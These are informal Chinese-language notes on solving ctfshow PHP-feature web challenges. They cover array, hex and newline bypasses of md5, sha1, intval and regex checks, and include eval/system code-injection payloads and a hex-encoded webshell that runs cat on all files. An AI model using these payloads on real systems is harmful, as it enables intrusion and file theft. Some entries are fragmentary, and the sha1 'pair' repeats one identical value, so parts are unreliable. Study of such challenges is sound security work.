[CTF]ctfshow php特性

轻松加愉快？？

get过滤[0-9]可以考虑数组绕过，就是get中?num[]=

指定特定数字值可考虑16进制绕过

正则匹配考虑%0a换行绕过

intval 考虑+或space

函数highlight_file

web 97
post内容相同但是md5值不同
考虑使用对象，md5对数组的返回值是相同的

web 98
这jb在干啥

web 100
赋值优先级高于逻辑运算
?v1=1&v2=eval($_POST[1])?>&v3=;
1=system(“tac ctfshow.php”);
0x2d是啥，是-号的askii，替换即可
0fc19c4c-242e-4fc4-9d37-afcf0e9e2e42

web 101
反射是啥
?v0=1&v2=echo new Reflectionclass&v3=;
b9bc5a0a-19f8-4bcc-9b66-ad1e220f827
最后一位爆破，为何要爆破16次

web 102
构造妙中妙
16进制转字符串

16进制为115044383959474e6864434171594473
转为字符串PD89YGNhdCAqYDs
base64解码为<?=`cat *`;

php中的hex2bin函数能将16进制字符串转为2进制字符串
比较迷惑的一道题

web 104
让两个值的sha1相同
考虑传入数组
补充：
两个sha1相同的值
aaK1STfY 0e76658526655756207688271159624026011393
和
aaK1STfY 0e76658526655756207688271159624026011393

web 105
考察php中$$的使用
GET dog=flag
POST error=dog

web 106
v1, v2值不同但是sha1值相同
考虑数组绕过

web 107
函数 parse_str($str,$output)
将操作$output[‘first’]=
$output[‘arr’][0]=
函数md5()对数组操作为null
==两端同为null即可绕过

web 108
异常处理类相关